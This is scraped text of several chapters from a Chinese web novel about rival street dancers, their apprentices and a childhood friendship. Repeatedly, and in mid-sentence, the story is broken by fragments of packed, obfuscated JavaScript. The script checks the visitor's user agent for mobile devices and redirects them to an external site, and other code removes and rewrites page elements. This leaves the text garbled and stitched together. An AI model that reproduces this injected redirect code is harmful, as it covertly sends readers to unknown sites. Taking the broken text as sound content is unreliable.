l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848824|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神后缩了缩脖子，怂怂地说了句：“15......” 顾以默转完钱，拿过沈一川的手机替他收下钱之后将手机还给他，这才开始吃饭。 沈一川一看他这样肯定给自己多转了钱，奈何又不敢退还回去，只能若无其事地低头吃饭。 “对了，他们少儿组今天晚上是不是有课？”顾以默突然没头没尾的问道，在看到自家徒弟八卦的眼神后淡定解释，“木南苏的衣服还在我这，刚才他去我宿舍也不知道拿走。” 沈一川听完反倒不淡定了，“什么？！师父你太偏心了！平时你明明连门都不让我们进的！你还说你不喜欢前师爹！” 顾以默耳朵快被这倒霉孩子的大嗓门震聋，一筷子敲到他头上，愤愤不平控诉着：“你们从来都是空手进满手出的，你还好意思怪我？不许再叫木南苏前师爹！” “那........也是因为师父你的好东西多嘛.......”沈一川伸手捂头，笑得没脸没皮对着顾以默说。 碍于刚吃完饭，顾以默也不着急开始训练，便和沈一川坐在地上闲聊，顺便问他有没有把夺冠的事情告诉爸妈。 沈一川摇头，垂下眼帘看着地板小声说着：“反正他们眼里只有钱，我把奖金给他们汇过去能让妹妹上学就好，其他的我也不想和他们有过多的交谈。” 顾以默闻言叹了口气，伸手揉了揉他的头。那个站在舞社门口向里看的小男生，如今已经是站到世界领奖台的冠军，这其中的不容易，顾以默是最能体会到的。 “你应该快成年了吧，想要什么礼物？”顾以默想起沈一川再过生日就成年了，便开口问他想要什么，并表示只要别太过分，自己都能满足他。 沈一川一听马上来劲，“真的吗？真的什么都可以吗？” “真的，说吧。”顾以默坚定地朝他点头 沈一川连忙激动说道：“我想要师父有个对象！实在不行前师爹也可以.......真的师父，我在网上看到有好多人都在磕你们的cp！” 顾以默差点一口气没缓过来深感震惊。 居然还有人磕他和木南苏的cp？！这届网友这么万能吗？如果他没记错的话，自己昨天和木南苏在台上都快打起来了吧....... 无奈沈一川此刻眼巴巴盼着他点头，顾以默心软只能答应下来，并再次重申了他和木南苏的关系。 沈一川选择性失聪和失忆，只听见并记住了前半段话，满心欢喜地将垃圾收拾干净，等顾以默布置好就开始练舞。 顾以默见沈一川热身完，便提出让他自己试着编舞。 “你可以在wave结束后，加一个下意识的震动去过滤到下一个动作，你一定要保持你的整套动作是流畅下来的。”顾以默将音乐暂停，取下一旁录像的手机，帮他一点一点分析问题，觉得自己讲得不清楚干脆就亲自示范。 沈一川也跟着他一起做，做错了还要被打，打完继续做......重重复复将刚才的错误彻底纠正完，又被顾以默盯着跳完几首beat才算结束。 “DJDropthebeat!” 门口突然传来一个喊声，顾以默想都不用想这是付宵凡的声音，果然下一刻门就被打开，付宵凡异常地兴奋，和往常那种上课前的样子完全不同、 “你吃兴奋剂了？”顾以默递给沈一川一条毛巾，开口问道。 付宵凡跟着节奏轻微地做着动作，“那倒没有，但你要知道，当你长期面临一群小恶魔的时候，突然有人陪你一起绝望的滋味也很爽的！” 顾以默听懂他话里的意思，拍拍他的肩膀说：“相信我，木南苏不让那群小恶魔绝望，就是他今天心情好。” 付宵凡见状表情瞬间变得八卦，“顾以默，你和你前男友之间到底发生了什么？” “滚！再起哄信不信你下场比赛我专门去堵你！”顾以默出声威胁，“还有你沈一川，你要是再喊什么前师爹，你就等着加训加到腿软吧！” 付宵凡和沈一川闻言对视，觉得这话可信，连忙点头表示封口。 4. 教课 付宵凡一脸无语地看着跟他一起出来的师徒二人，“我真是服了，我还真不知道我能有两个冠军护送我上课的魅力。” 顾以默拍了拍他的肩膀，“这话你说的就不对了，我们只是去看一看今年冠军怎么教小孩子跳舞，和你一点关系都没有。” “其实还是有点关系的。”沈一川补充道，“毕竟是你的教室。” 顾以默闻言没忍住笑了出来，在听到音乐声后觉得很奇怪，便走上前一探究竟，发现教室周围全是前来围观的人。 “这是打败顾以默的那个冠军吗？虽然他打扮得很酷，但还是好奶气！” “是啊，而且他的动作太顺了吧！” “但和顾以默相比还是少了感觉。” 顾以默拍了拍那个人的肩膀让他让一下，随后木南苏跳舞的场景映入眼帘。 双腿的转动和肌肉震动，再加上手的动作，足以将木南苏此刻的狂展现得淋漓尽致，但力量不够狠。 顾以默在内心分析着他的动作，从镜面察觉到他似乎朝着自己挑衅地抬了下巴，身后逐渐激烈的起哄声更像是提醒着他的动作就是这个意思。 他笑着走进教室，等木南苏跳完的同时，跟着音乐随意摆着基础动作热身。 门外的起哄声愈加强烈，所有人都对这场面无法拒绝，即便知道两个人在比着玩，但并不妨碍他们对这场1v1battle的期待。 顾以默接住木南苏的结束动作，咬唇伸出手对他勾了一下，挑衅味道十足。瞬间全场沸腾！ 木南苏似是没想到，表情愣了几秒便挑眉看着顾以默，同样也在分析他的动作。 顾以默是出了名的力量感足，但同时也不难发现，他在动作流畅方面有些瑕疵，只不过是可以依靠力量强制切换，所以几乎可以忽略不计。 一曲终，在起哄声中两人已经汗流浃背。顾以默接过木南苏递来的毛巾，朝他笑了笑。 “以默哥哥，你和他的关系不好吗？”一个戴着帽子，打扮帅气的小男孩跑了进来，站在顾以默面前仰头问他。 顾以默转头看木南苏，蹲下身子和小男孩平视否认道：“没有啊，要是关系不好这个哥哥为什么要给我递毛巾呢？” 小男孩挠了挠头说：“那为什么我感觉你们刚才要打起来了？” 顾以默闻言一笑，摸了摸他的头说：“因为在台上，拼尽全力才是对对手最大的尊重，这和关系好不好没有太大的关系。然而尊重对手，是每一位舞者必须具备的基本素养。” 木南苏喝了口水，赶着刚站起来的顾以默出去，“走走走，你打扰我们上课了，快走快走！” “不是！我.....你......”顾以默觉得莫名其妙，在捋清要说什么之后才反应过来自己被推了出来。 付宵凡被这场面逗得在心里直呼暧昧，忍笑学着木南苏的话让他站得再远点。 顾以默抱臂站在门口，脖子上搭着毛巾，像极了来查课的教导主任.......他真的很好奇木南苏会不会用小时候对付他的手段来对付这群小朋友。 为了防止上课音乐声音混乱，教室的玻璃隔音效果很好。顾以默在外面听不见木南苏在说什么，但看到他手里那些玩具后心里秒懂。 果然.......他还来这一招！自己小时候可没少因为这个被老妈打！ 只见木南苏从包里拿出不少玩具，而且每一个看上去都很稀奇，并且每一个都非常吸引人。所以原本吵闹的教室瞬间安静下来，那群小朋友也难得认真的听木南苏说话。 “如果你们想要这些玩具的话，我们拉钩做个约定怎么样？只要你们好好听话上课，这些玩具都是你们的，但是如果你们调皮的话，这些玩具就要变成我的了。” 沈一川惊讶地看向旁边的唇语翻译顾以默，“师父，你怎么知道他在说什么？你什么时候学的唇语？” 顾以默哼笑，对着沈一川说：“如果你想让我教你这道题，我们拉钩做约定。只要你不告诉我爸妈我打游戏的事情，以后我教你作业，但如果你要是告状，我就把你收情书和抄我作业这两件事告诉干爹和干妈。” “啊？”沈一川一时没明白这句话是什么意思，随后反应过来对他惊呼，“师父，这是前师......师父你以前经历的事吗？” 顾以默看在他及时刹车的份上饶他一回，哀怨地点头。 “那.....后来呢？”沈一川忍不住好奇，继续问道。 顾以默皱眉，回忆起那段痛苦的经历，缓缓开口道：“后来就是，在某个晚上，我们两家一起吃饭的时候，我们非常有默契地在饭桌上揭发了彼此的罪行，结果谁也没逃过父母的毒打......” 沈一川闻言没忍住，噗一声笑了出来，“哈哈哈哈！师父我一直以为除了叔叔阿姨没人治得住你，结果没想到还有前师爹哈哈哈哈哈！” 顾以默恼羞成怒地把他头上的帽子用力往下拉，开始倒计时十个数。伴随着一阵关门声倒计时刚好数完。 “小样，我还收拾不了你？”顾以默目睹沈一川十个数的时间从这里跑回舞蹈室的慌乱样子，勾唇笑着往教室里看了一眼。 见木南苏正好看过来，给他竖着大拇指抬步离开。 木南苏见状低头笑了一下，对着小朋友们说：“既然我们做了约定，那就来履行承诺好不好？” “好！”小朋友们整齐应答着。 木南苏看向在一旁惊呆了的付宵凡，问道：“你教还是我教？” 付宵凡这才想起自己似乎忘记和他商量这个问题，抱歉地伸手挠了挠头，“不好意思我忘了和你商量......这样，今天你先来，然后等下课我去你房间找你，我们一起商量一下怎么样？” 突然想起什么，付宵凡又补充道：“顾以默应该......不会介意吧？” “他为什么要介意？”木南苏似乎明白了付宵凡的话，浅笑一声和他解释，“别听网上乱说，我就是他的天敌，别的没什么关系了。” 付宵凡点头示意明白，拍着手让小朋友们安静，便带着他们热身。 顾以默回到舞蹈室后，根据沈一川的情况帮他编舞，“你下次比赛的话可以尝试下，但不要只按这个来，容易影响你的发挥。还有，少打游戏多听歌！再让我看见你半夜在线，手机没收！给你买个随身听。” 沈一川坐在地上喝着水嬉皮笑脸摇头，表示再也不敢了，咽下去之后便开口问：“师父，周末有一个挑战赛你会去吗？” 顾以默点头，“会去，而且你觉得就算我不去，老大会放过我吗？” 闻言沈一川干脆躺地上彻底颓废，听见顾以默再次倒计时连忙站起，苦着脸哀嚎：“师父！您这次参加别的项目吧！Hiphop和Breaking两个也很适合您啊！给孩子留条生路吧师父！” “尽力。”顾以默无语地看着面前快一米八的大小伙子对自己撒娇，“但要是我又被拉去凑人数，这就不怨我了。” 千万不要！ 沈一川闻言赶紧祈祷别再发生这种情况，随后便跟着顾以默认真地复习刚才的动作。 “震动幅度大些！重来！” “跟着beat，节奏乱了！重来！” “重来！” “........” 顾以默自己都数不清说了几次重来。在这过程中，他也在跟着沈一川一起练，视线在他和沈一川身上来回切换，但凡沈一川有一点不该犯的错误，他都会一起重来。 将刚才的舞蹈全部顺下来，顾以默累得够呛，旁边的沈一川更是往地上一躺说除非山崩海啸地震，此刻谁都别想叫他起来。 顾以默见他这样，无奈地笑着从柜子里拿出两条毛巾，擦着头把另一条扔到沈一川脸上，出门买水。 越往外走顾以默越能听到小朋友吵闹的声音，走到教室那边才意识到他们已经下课了。 “你们下课了？怎么样，还适应吗？”顾以默对着正在从教室走出来的木南苏说着。 木南苏见他这副模样惊了一下，随后从包里拿出一条还没拆封的毛巾递给他，“你的毛巾湿透了，换一条吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848825|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等顾以默道了谢接过，木南苏继续说：“还可以，就是没想到以前对付你的招数居然有一天还能派上用场。” “你还真有脸说！”顾以默哼笑，买两瓶水递给木南苏一瓶，突然想起什么对他问道：“周末有比赛，你会去吗？” “谢谢。”木南苏接过，拧开喝了口回答顾以默的问题，“会去，比完赛有休息时间，我正好要回家一趟。” “Popping？” “嗯。” 顾以默点头，拍了拍木南苏的肩膀让他加油，将毛巾拆开放在头上随意擦了几下，顶着毛巾回到舞蹈室告诉了沈一川这件事。 “这是一个好的学习机会，不要浪费。”顾以默对他说。 沈一川坐在地上认真点头表示知道了。当顾以默奇怪这人的反常时，下一秒就见他哭着脸不情不愿地爬起继续练舞。 果然他期待沈一川成熟的日子还是遥遥无期.......顾以默无奈地摇了摇头，说实话他真不觉得比赛遇到强者很可怕，反倒更多的是期待。 更何况，木南苏一点也不强。 顾以默这次难得放过沈一川一马，只是跳了一遍就让他停下，指出了他反复出现的问题后就让他回去多想想。 等沈一川离开，顾以默才开始他的训练。 呀非常清楚自己的缺点，所以他在给自己重新编完舞后将动作顺了一边又一遍，甚至将音乐关掉一步一步完善着细节和表情。 直到舞蹈室的门被敲响，打扫卫生的阿姨走了进来，顾以默才发觉时间居然这么晚了。 “你们为什么不在这上面装个表呢？”阿姨疑惑地问他。 顾以默将自己的东西放进背包，拿过拖把帮忙拖地，一边干活一边说：“因为没有表的话，进到这里的人只会考虑把舞练好再走，如果有表的话，就会容易走神和卡着时间走。” 阿姨笑笑，“那不是还有手机吗？再说了，没有时间观念你们多影响休息啊。” 顾以默也跟着一起笑，拿出自己刚刚开机的手机回着信息，闻言便抬头对着阿姨说：“不会啊，这不是有您吗？您就是我们必不可少的闹钟。” 阿姨被他这句话逗得满心欢喜，“他们都说你凶，都是一派胡言！” “就是，一派胡言，我多温柔啊！”顾以默的语气掺杂着一丝委屈，将手机收起继续拖地。 待所有的地方都收拾干净后，顾以默才和阿姨道别背着包离开。 在回到宿舍准备用钥匙开门时，顾以默听到隔壁传来一阵响亮的笑声，他觉得有些奇怪却觉得合理。 “老顾，你回来了？”正开着门，耳边传来付宵凡的声音，转头去看发现他从木南苏的宿舍正走出来。 顾以默点头示意，等他走后奇怪地问木南苏刚才他们在聊什么。 “不告诉你。”木南苏笑着回了房间。 顾以默歪头疑惑，直到........ “卧槽！木南苏！”顾以默正刷牙，被群里付宵凡发的照片气得差点把牙膏沫咽肚子里。 【卢择】：哈哈哈哈哈哈哈老顾你小时候为什么要把西瓜皮扣在头上！ 【付宵凡】：而且还是被木南苏扣上去的哈哈哈哈哈哈！ 【沈一川】：虽然师父好可怜，但是......哈哈哈哈哈哈哈！ 【顾以默】：你们三个最好晚上锁好门，我半夜随机抽取幸运儿谈心。 顾以默刷完牙，重新点开那张照片。 这张照片是他和木南苏小时候打架的照片，他记得那次好像是因为自己的西瓜吃完了不够吃，但木南苏那时候年龄小吃得有些慢，于是他就去抢木南苏的西瓜吃了几口。 结果没想到把木南苏给惹生气了，哭着搬起他吃剩下的半个西瓜皮扣到了他头上....... 当时头小，所以整个西瓜皮扣到他头上刚刚好....... “小时候你是真爱哭。”顾以默看着照片回忆道。 虽然他的童年不是被打就是在被打的路上，但这并不妨碍他真的很想回去。 5. 如旧 中午十二点，顾以默在经历了前两天的折磨后，终于如愿以偿睡到自然醒，但这并不能缓解他从小就有的起床气。 “谁啊！”顾以默皱着眉不耐烦地对着门口喊道。 敲门声其实并不大，甚至可以听得出来门外的人很担心会打扰房间里的人休息，万不得已才来敲门。 顾以默问了几遍门外都没人答复，他才想起来为了防止有人在房间练舞影响其他人休息，每个房间的隔音效果都很不错。 在床上发着呆将起床气压得差不多，顾以默才起身去开门。 站在门口的卢择和木南苏让他有点意外，他看向睡眼蓬松穿着睡衣的木南苏，再看穿戴整齐的卢择，顾以默心里已经明白怎么回事。 卢择身为舞社的经理，比赛和生活上的事情都由他和老大一起商量，然后再通知道所有人。 “你们冠军的睡眠质量都这么好吗？”卢择走进房间坐到沙发上，“我刚才去敲沈一川的门，感觉门都快掉了他还没醒。” 顾以默闻言指了指从进门到现在一言未发的木南苏，“这个人睡眠浅，所以他被你叫起来了。” 说完他扭头去看，却发现木南苏已经毫不见外地趴在他床上，闭目养神。 木南苏实在是困，昨天晚上他被老妈拉着视频到了半夜，一直说要给他介绍对象。 自从他和老妈说自己喜欢男生后，本以为她可以高抬贵手放过自己，谁能想老妈更来劲了，三天两头给他推微信，还说要趁着这次他回家，把这些人都叫到家里来相互熟悉一下。 木南苏趴在床上轻轻叹气，鼻腔传来一股不太好闻的味道，皱了皱眉微微抬起头对顾以默说：“顾以默，你抽烟吗？” “我不抽。”顾以默奇怪地回头看向他，反应过来他在说什么便解释道，“可能是衣服沾上的烟味，时间久了也就洗不掉了。” 木南苏懵懵地坐起身，他知道卢择找他们有正事，便晃了晃脑袋让自己清醒一下。 卢择看他们的起床气和困意都散得差不多，便开口说：“你们应该听说这个周末的比赛了吧？老大那边呢是希望你们可以参加，不限项目。” “要是再让凑数，你自己上。”顾以默拿起手机看着比赛规则。 这次比赛是个人赛，地点是在一家商场，比赛年龄限制是16岁到25岁，比赛时间是下午1点。 顾以默看见比赛时间便没再往下看，只要不是上午的比赛他一般都会去，除非是大型比赛。 等等.......商场？ 顾以默看向身旁昏昏欲睡的木南苏，想直接问他却想起卢择还在旁边，只能装作若无其事地将手机递给他，悄悄观察。 木南苏拿过手机强提着精神翻了翻，也说了别让他去凑数什么都行，便把手机还给顾以默。 卢择无奈地看着两尊大佛，“这凑不凑数谁也说不准啊......对了，老大说等沈一川成年，我们就要参加团队赛了。” “我.....们？” 顾以默诡异地看向木南苏，木南苏此刻也正诡异地看着他，随后看向卢择，确认是不是他们想的那样。 “对！就是你们想的那样。”卢择看对面两人相互嫌弃的样子勾唇说道。担心一会他们打起来伤到自己，卢择借着去找沈一川的由头赶紧溜走。 顾以默看着面前的木南苏，本想开口呛他几句，发现他眼底的黑眼圈话到嘴边转了个弯，“怎么？在这睡得不习惯？你好像不认床。” 木南苏摇头，一头倒到身后的床上，闷声说道：“我妈让我回去相亲，挺烦的。” “相亲？”顾以默想起老妈好像和他说过木南苏的事情，当时还破天荒地顺带催了他一把。 顾以默早就和爸妈说明了自己的性取向，所以他们也很少管自己感情的事情，只是看到了别人秀恩爱的视频会发给他。 不多，一天三四条而已。 木南苏闭上眼睛点头，有气无力地说道：“本以为可以躲过这个，没想到我妈更兴奋了.......” 闻言顾以默没忍住笑出声，“彼此彼此，要不然为什么她们能做好姐妹？天塌了她们都不会塌的那种。” 木南苏听懂顾以默话里的意思，一下没忍住也笑了出来。 他们带着对两位妈妈的无奈，掺杂着四年未见依旧一见如故的喜悦，对视而笑。 卢择来到沈一川的房间门口，再次以最大的力气敲响房门。 “谁啊一大早就开始敲门，影响我休息比赛输了你担待得起吗？”沈一川没开门，倒是把隔壁的门给敲开了，一声骂骂咧咧的清澈嗓音从里面传出。 卢择闻言皱眉，面色严厉地看向那边。 房间里的青年身穿睡衣顶着乱发，不耐烦地往门口看来。 抬头看见卢择的脸色，他咽了下口水，刚才的嚣张气焰瞬间不见，连忙低头轻声认错：“师父.......” 卢择当年排宿舍时，看沈一川和自己的徒弟年龄相仿，关系也很好，就把他们排到了一起，想着彼此能有个照应。 “卞澈，我说没说过，台上的狂不要带到台下？”卢择拧眉训斥，不紧不慢地拿出手机看时间，“而且好像也不早了，你们是不是又通宵打游戏了？” “没......没有啊师父。”卞澈结结巴巴不敢承认。 见卢择不说话瞪他，卞澈只好害怕地说了实话，“确实打了......但是我拉着沈一川打的！他拗不过我才陪我玩的.......师父您别告诉师叔！” 卢择闻言，没再为难卞澈，他理解这个年龄的男生都爱玩，他和顾以默当年也没少因为贪玩被师父骂。 只说了让他吃完饭就去舞社练舞，等他回去后便继续敲门。 这次沈一川应该是睡醒了，还没敲几下门就被打开，眼前的沈一川挠着头，眼睛都没睁开。 “沈一川，你要是再跟着卞澈胡闹，我就告诉你师父！”卢择见状皱眉。 沈一川闻言立马清醒，连忙求饶，“师叔您别告诉师父！您累不累？先进休息一下吧！” 卢择进到他房间里，和他说着周末比赛的事情。 顾以默无语地看着刚才聊天聊睡着的木南苏，这程度估摸着最起码得是天亮才睡吧....... 他没什么乱七八糟的洁癖，只要别流口水就行，看木南苏的样子也不像会流口水的样子，顾以默也就由着他在床上睡。 洗漱完整理了发型，从卫生间出来见木南苏还在睡，顾以默决定不等了。 搜寻了一圈目测木南苏没带手机，便写了“走之前关灯关空调，把门关好”的纸条放在他旁边，背着包前去练舞。 顾以默来到舞蹈室，放了首音乐热身，刚准备进行今天的编舞，门却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848826|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打开。 从镜中看到一位稀客的身影，顾以默抱臂挑眉转身看去，将音乐暂停出声调侃道：“哟，什么风把你吹到练舞室了？” 付宵凡从兜里掏出手机关机，将耳机取下放进充电仓，满脸懵地看向顾以默，“啊？你刚才和我说话了？” “没事，夸你勤奋。”顾以默朝他露出了纯天然无公害的笑，“你练popping？” 付宵凡有气无力地“嗯”了一声，跟着音乐热身。 顾以默深知他动作的减分点在什么地方，所以每次练舞他都会将录像机打开编一段舞，完成后一遍一遍看着录像指出自己的问题，一个动作反复练习，直到顺下来为止。 这次也不例外，顾以默和往常一样取下机器看录像，在心里默默记下自己的不足，将录像递给付宵凡，听着他指出的问题是否和自己发现的一致。 “你双腿一起roll这个地方往上走之后可以先随意晃一下，然后缓缓弯腰接手部的动作就好。”付宵凡边指出顾以默的问题边做着动作，并给他提一些可塑性的建议。 顾以默点着头，继续指出问题，“那你看这个地方是不是可以借助一个从下到上的wave起来，类似于木偶被提起的感觉。”说着和付宵凡做示范动作，表达自己的意思。 两个人一来二去，帮彼此指出问题的同时自己也练了舞。 “今天难得没有课，你晚上不会还是在这练舞吧？”付宵凡满头汗坐在地上，接过顾以默递来的水拧开喝了一口。 顾以默出奇地摇了摇头，“沈一川快成年了，我得给他挑生日礼物去。” “对啊！那小子快成年了！”付宵凡恍然大悟，“想想我当时见到沈一川的时候，就觉得他特别瘦特别小。你答应教他跳舞的时候，他那种又高兴又不敢相信的神情我可能这辈子都忘不掉了。” 顾以默点头，也觉得时间很快。 遇到沈一川的时候，正是师父去世的那一年。当时自己的心态特别差，表面装得没事人一样，实际到夜晚基本上都是哭累了才睡着的。 沈一川也傻，顾以默还记得因为自己那段时间心情不好，就让他去卢择那里。 但他当时特别叛逆，处处和卢择对着干。 顾以默也是后来才知道，沈一川这样做是为了让自己被赶回来....... “你知道沈一川这个年龄段的男生，现在都喜欢什么吗？”顾以默翻着手机问付宵凡。 付宵凡一脸无语，“我怎么知道，我又没有徒弟，难不成让我去问那群小朋友吗？” “我们当时都是挺奢望那些潮牌的。”他回想着当时的自己，又看到顾以默一副若有所思的模样，不禁感叹，“哎，你这个早早表演出场费就万把块，次次比赛拿高奖金的顶端人士，根本无法理解我们这些底层人的心酸。” 顾以默听着他夸张的形容，无语瞥他一眼，面上的愁容比刚才又重了几分。 沈一川之前过生日的时候，他也不是没有送过这些，但只要价格稍微高一点，沈一川就会想方设法拒绝，哭闹喊着让他自己留着....... 最好的结局，也就是他们把礼物对半分。 先前的种种情景逐渐浮现在脑海，顾以默只觉头疼，正当他实在没什么办法时，练舞室的门再次被推开。 他抬头看到来者是谁后，瞬间茅塞顿开！ 6. 舞蹈室【修改剧情】 木南苏听卢择说练舞可以到专门的舞蹈室，让他去看一看，便根据卢择说的路线来到一扇铁门面前。 他伸手推门而入，看到里面的两个人懵懵地看着他。 木南苏以为自己走错地方，往后退了一步四处观察，发现还是搞不清楚，挠了挠头开口问道：“这里是练舞室吗？还是我走错了？” “没走错没走错。”付宵凡朝他笑道。 顾以默挑眉看着往里走的木南苏，指了指墙角的柜子说东西可以放到那里，突然想到什么起身走到自己柜子面前打开，从角落摸出一把钥匙递给木南苏。 “谢谢。”木南苏伸手接过，“以后我练舞的话，都可以来这里吗？” 顾以默侧身看向木南苏，点头应是，伸手搭着柜门懒散补充：“如果你觉得外面人来人往不影响你编舞的话，外面的教室也可以用。” 木南苏见惯了他这幅模样，淡淡瞥他一眼没有回答，从包里拿出手机关机，转身之际无意间看见他柜子里似乎有什么眼熟的东西，用手指了指抬头看向他问道；“这是？” 顾以默顺着他手指的方向看去，一件棒球服规规矩矩地叠放在柜子里，这才想起什么，将衣服拿出递给他，“对了，你上次落在我房间的衣服，忘还你了。” “没事，反正本来也是你的衣服。”木南苏拿过衣服放到自己柜子里，锁上门去找付宵凡问问题。 他的衣服？ 他什么时候有这种配色的......好像就是他的衣服。 顾以默想起那件衣服是老妈给他买的，当时他见到这件衣服第一眼就觉得是木南苏的风格，于是就找个机会送给了木南苏。 “老顾，你的录像我先帮你保存了，你前.......木南苏要用。”付宵凡对朝他们走来的顾以默说道。 顾以默点头，拿过遥控器重新将音乐打开，和木南苏保持距离各练各的。 过程中顾以默从镜中看到木南苏的动作，能感受到木南苏的基本功非常扎实，动作衔接也非常流畅，但细看，还是有不少缺陷。 力量感不够强，动作也有点瑕疵，但不可否认的是，他的编排的确够灵活，够抓眼球。 顾以默看着一遍木南苏的表现后，在心里得出了这个结论，继续跟着音乐回忆刚才自己的问题，反复练习。 两首beat的间隙，木南苏取下手机，一帧一帧看着视频复盘，无意间调出了顾以默的录像，忍不住好奇点了进去。 他看完，勾唇一笑，悄悄抬头看向一旁的身影，笑意不禁更深，片刻后才将视频切换回去，继续复盘自己的动作。 顾以默始终和他们保持合适距离，汗水打湿衣服的情况他早已习惯， 片刻过后，顾以默已经将所有动作和细节顺下来，从柜子里拿出毛巾搭在头上，一瓶水仰头喝下去只剩半瓶，转过身看向另外两个人。 付宵凡和他是同期，付宵凡的师父是他师父的好友，所以对于付宵凡的风格和问题，他一眼就能看出来。 见他们练得差不多，听到他们的聊天内容是关于自身问题的，顾以默走上前，以观众的视角和他们一起提出问题。 “我也发现自己的力量感不够，你有什么好的解决办法吗？”木南苏湿着头发看向顾以默，向他请教。 顾以默下意识要说出口的建议，忽而想到什么，话锋一转对木南苏说道：“要我告诉你也行，不过得有交换。” 木南苏无语地看着面前从小一招用到大的人，丝毫不在意地摆了摆手，“不说算了，不听了。” 他说着走向自己柜子，拿出毛巾擦汗。 在一旁收拾东西的付宵凡闻言没忍住笑出了声，暗自感叹不愧是木南苏，轻轻松松破了顾以默的套路。 顾以默见状，无语勾了勾嘴角，心底还是对这份熟悉的相处方式倍感亲切，抬步走上前吐槽：“你这个人怎么回事，分开四年时间一点变化都没有？就不能顺着我的话问一下条件吗？” “你的条件能是什么好条件。”木南苏凭借对他的了解，也猜到他口中的条件是什么，笑着看他回击道，“你这句话我从小听到大，到底是谁没有变化？” 顾以默被这话堵得哑口无言，但他清楚玩笑归玩笑，正事还是要继续说，也不再和木南苏讲条件，回忆着木南苏跳舞时的情景分析道：“你的问题和付宵凡差不多，不过他是耐力和体力都不行，你的耐力我都佩服，所以只需要力量就好。你们以后可以把体能训练加到日常生活去。” “你说你的把我扯进来干什么？”付宵凡一听体能训练四个字头都要大，十分抗拒，“不要！你们说你们的，我就是个吃瓜群众、” 顾以默无奈地摇头，走到录像的手机前，将它取下和自己的手机链接连接蓝牙， 等待匹配的过程中，他转头对木南苏说：“对了，你知不知道沈一川这个年龄段的男生喜欢什么。” 半天没听见木南苏的回答，顾以默抬头看去，见他欲言又止的样子有些困惑，便开口问道：“怎么了？我的问题很难回答吗？还是说你被我的帅气给吸引了吗？” “都不是.......”木南苏从自己的回忆中反应过来，朝他一笑，“只是想到了你十八岁生日的时候，你.......” 顾以默闻言，沉没在脑海里的记忆瞬间如同解除封印一般重现在他的脑海，他即刻猜到木南苏接下来准备说些什么，赶忙大步上前捂住木南苏的嘴，下意识看向付宵凡。 好在付宵凡正玩着游戏，把全部精力都放在了屏幕上，并没有注意这边，他这才放松警惕，转头便对上一双略微弯起的笑眸，顺势重重捏了一把木南苏的鼻子，轻声警告：“我们那次半斤八两，有什么好笑的！” 木南苏吃痛地拍开他的手，对他挑衅一笑：“就笑，怎么着？” 顾以默见他笑意更浓，故作出一副恼羞成怒的样子，用胳膊从后面圈住木南苏的脖子，故作凶煞模样凑近对他低头威胁，手上始终控制着力度，完全不会让木南苏感到丝毫不适。 木南苏从小和顾以默打闹到大，相信他在这种时候不会弄伤自己。 但顾以默的突然靠近让他措手不及，他们之间的距离还在缩短，他眼看着那双故作凶样而微微眯起的双眸，不禁后退了一下，偏头躲开顾以默的视线，拍了拍他的胳膊，满脸无辜地求饶，“我不笑了，你放手。” “放手可以。”顾以默以为他感到不适，手上的力度微微松了几分，无意间意识到自己这么多年第一次以这种距离看他。 木南苏的睫毛从小到大都是浓密且长的，鼻梁不挺却也不塌，与他的五官和脸型放在一起十分合适，整体看起来眉清目秀，再加上他此刻故意做出无辜的表情，确实是一副容易被骗的模样。 顾以默勾唇一笑，继续对木南苏说：“叫哥哥我就放手。” 正在看着戏喝水的付宵凡完全没想到顾以默会说出这样的话，一口水呛到气管，让他剧烈咳嗽起来，但也依旧不影响视线继续看着他们。 “别闹了......”木南苏从初中开始便直接直呼顾以默的名讳，这一声许久未叫的哥哥他真的叫不出口，别开目光不看面前的人，“松手，不然动手了！” 顾以默看他真的有些生气，缓缓松手惋惜：“以前那个天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848827|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追着我屁股后面喊哥哥的人不见了。” 他预判到木南苏会用脚踢他，话音落下见木南苏抬脚，连忙笑着向后躲开。 “虽然你们打情骂俏的时候我插嘴确实不好，但.......”付宵凡见缝插针道，“你们真的只是发小吗？网上说的不会是真的吧？你们不会.......” “不可能！”两人打断付宵凡朝他喊道。 付宵凡当即沉默，但心底还是好奇他们到底是怎么做到一个字不差同步否决....... 玩闹片刻，顾以默让他们先走，自己留下将舞蹈室收拾干净，才锁门离开。 一转身看见木南苏在门口靠着前台低头玩手机，似乎是在等人。 